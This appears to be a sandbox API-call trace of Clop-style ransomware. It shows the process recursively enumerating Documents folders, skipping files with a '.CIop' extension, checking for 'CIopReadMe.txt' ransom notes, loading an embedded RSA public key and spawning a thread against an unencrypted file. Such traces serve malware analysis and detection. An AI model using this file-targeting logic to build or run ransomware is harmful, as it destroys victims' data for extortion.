[0117.970] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="4cjd3SaCmW1" [0117.970] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="4cjd3SaCmW1" | out: lpString1="4cjd3SaCmW1") returned="4cjd3SaCmW1" [0117.970] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.970] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.970] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.970] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.970] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.970] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.970] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.970] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.970] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0117.970] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0117.970] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0117.970] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.970] lstrcmpW (lpString1="isZLUU", lpString2="..") returned 1 [0117.970] lstrcmpW (lpString1="isZLUU", lpString2=".") returned 1 [0117.970] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0117.970] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0117.970] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0117.970] SetErrorMode (uMode=0x1) returned 0x1 [0117.970] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0117.970] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0117.970] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0117.970] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*" [0117.971] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e078 [0117.971] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="isZLUU" [0117.971] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="isZLUU" | out: lpString1="isZLUU") returned="isZLUU" [0117.971] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.971] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.971] lstrcmpW (lpString1="3B2V8p-DhIekN7FYAT.docx.CIop", lpString2="..") returned 1 [0117.971] lstrcmpW (lpString1="3B2V8p-DhIekN7FYAT.docx.CIop", lpString2=".") returned 1 [0117.971] lstrlenW (lpString=".CIop") returned 5 [0117.971] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.971] lstrcmpW (lpString1="5qiwP0Jfq.pps.CIop", lpString2="..") returned 1 [0117.971] lstrcmpW (lpString1="5qiwP0Jfq.pps.CIop", lpString2=".") returned 1 [0117.971] lstrlenW (lpString=".CIop") returned 5 [0117.971] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.971] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0117.971] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0117.971] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0117.971] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.971] lstrcmpW (lpString1="fsxQuEAvOd0El-v.pps.CIop", lpString2="..") returned 1 [0117.971] lstrcmpW (lpString1="fsxQuEAvOd0El-v.pps.CIop", lpString2=".") returned 1 [0117.971] lstrlenW (lpString=".CIop") returned 5 [0117.971] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.971] lstrcmpW (lpString1="gl54xs.odt", lpString2="..") returned 1 [0117.971] lstrcmpW (lpString1="gl54xs.odt", lpString2=".") returned 1 [0117.971] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned 75 [0117.971] Sleep (dwMilliseconds=0xd) [0117.997] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0117.997] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="gl54xs.odt" | out: lpString1="gl54xs.odt") returned="gl54xs.odt" [0117.997] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0117.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4 [0117.998] SetErrorMode (uMode=0x1) returned 0x1 [0117.998] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt") returned 85 [0117.998] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0117.998] CloseHandle (hObject=0x6bc) returned 1 [0117.998] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.998] lstrcmpW (lpString1="h8IhXzO4v.csv.CIop", lpString2="..") returned 1 [0117.998] lstrcmpW (lpString1="h8IhXzO4v.csv.CIop", lpString2=".") returned 1 [0117.998] lstrlenW (lpString=".CIop") returned 5 [0117.998] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.998] lstrcmpW (lpString1="HpvWb5EHtTvn89.pps.CIop", lpString2="..") returned 1 [0117.998] lstrcmpW (lpString1="HpvWb5EHtTvn89.pps.CIop", lpString2=".") returned 1 [0117.998] lstrlenW (lpString=".CIop") returned 5 [0117.998] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.998] lstrcmpW (lpString1="oGyow62Ehp.pdf.CIop", lpString2="..") returned 1 [0117.999] lstrcmpW (lpString1="oGyow62Ehp.pdf.CIop", lpString2=".") returned 1 [0117.999] lstrlenW (lpString=".CIop") returned 5 [0117.999] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.999] lstrcmpW (lpString1="Q0WDNI_cEJvL.pdf.CIop", lpString2="..") returned 1 [0117.999] lstrcmpW (lpString1="Q0WDNI_cEJvL.pdf.CIop", lpString2=".") returned 1 [0117.999] lstrlenW (lpString=".CIop") returned 5 [0117.999] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.999] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.999] lstrcmpW (lpString1="tpkoPGhxV.xls.CIop", lpString2="..") returned 1 [0117.999] lstrcmpW (lpString1="tpkoPGhxV.xls.CIop", lpString2=".") returned 1 [0117.999] lstrlenW (lpString=".CIop") returned 5 [0117.999] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.999] lstrcmpW (lpString1="vv1t.doc.CIop", lpString2="..") returned 1 [0117.999] lstrcmpW (lpString1="vv1t.doc.CIop", lpString2=".") returned 1 [0117.999] lstrlenW (lpString=".CIop") returned 5 [0117.999] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0117.999] FindClose (in: hFindFile=0x67e078 | out: hFindFile=0x67e078) returned 1 [0117.999] FindClose (in: hFindFile=0x67e078 | out: hFindFile=0x67e078) returned 0 [0117.999] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0117.999] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*" [0117.999] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e078 [0117.999] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="isZLUU" [0117.999] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="isZLUU" | out: lpString1="isZLUU") returned="isZLUU" [0117.999] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.999] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.999] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.999] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.999] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.999] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.999] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.999] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.999] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.999] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.000] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.000] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.000] lstrcmpW (lpString1="rMpN_ZRY5SqnHAJ8aGld", lpString2="..") returned 1 [0118.000] lstrcmpW (lpString1="rMpN_ZRY5SqnHAJ8aGld", lpString2=".") returned 1 [0118.000] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0118.000] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0118.000] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\", lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0118.000] SetErrorMode (uMode=0x1) returned 0x1 [0118.000] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0118.000] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" [0118.000] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" [0118.000] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*" [0118.000] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dd78 [0118.000] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0118.000] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0118.000] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.000] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.000] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.000] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.000] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.000] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.000] lstrcmpW (lpString1="iclup5FUSoIoGUEpJ 8n.pps.CIop", lpString2="..") returned 1 [0118.000] lstrcmpW (lpString1="iclup5FUSoIoGUEpJ 8n.pps.CIop", lpString2=".") returned 1 [0118.000] lstrlenW (lpString=".CIop") returned 5 [0118.000] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.000] lstrcmpW (lpString1="k4LJ2WYGO9QfwUDPoT.doc.CIop", lpString2="..") returned 1 [0118.000] lstrcmpW (lpString1="k4LJ2WYGO9QfwUDPoT.doc.CIop", lpString2=".") returned 1 [0118.000] lstrlenW (lpString=".CIop") returned 5 [0118.000] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.000] lstrcmpW (lpString1="Qq3R.ots.CIop", lpString2="..") returned 1 [0118.000] lstrcmpW (lpString1="Qq3R.ots.CIop", lpString2=".") returned 1 [0118.000] lstrlenW (lpString=".CIop") returned 5 [0118.000] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0118.000] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0118.000] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0118.000] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0118.001] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*" [0118.001] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dbf8 [0118.001] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0118.001] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0118.001] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.001] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.001] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.001] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.001] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.001] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.001] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0118.001] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0118.001] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0118.001] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.001] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.001] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0118.001] FindClose (in: hFindFile=0x67e078 | out: hFindFile=0x67e078) returned 1 [0118.001] FindClose (in: hFindFile=0x67e078 | out: hFindFile=0x67e078) returned 0 [0118.001] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.001] lstrcmpW (lpString1="sNkHGs", lpString2="..") returned 1 [0118.001] lstrcmpW (lpString1="sNkHGs", lpString2=".") returned 1 [0118.001] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0118.001] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0118.001] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="sNkHGs" | 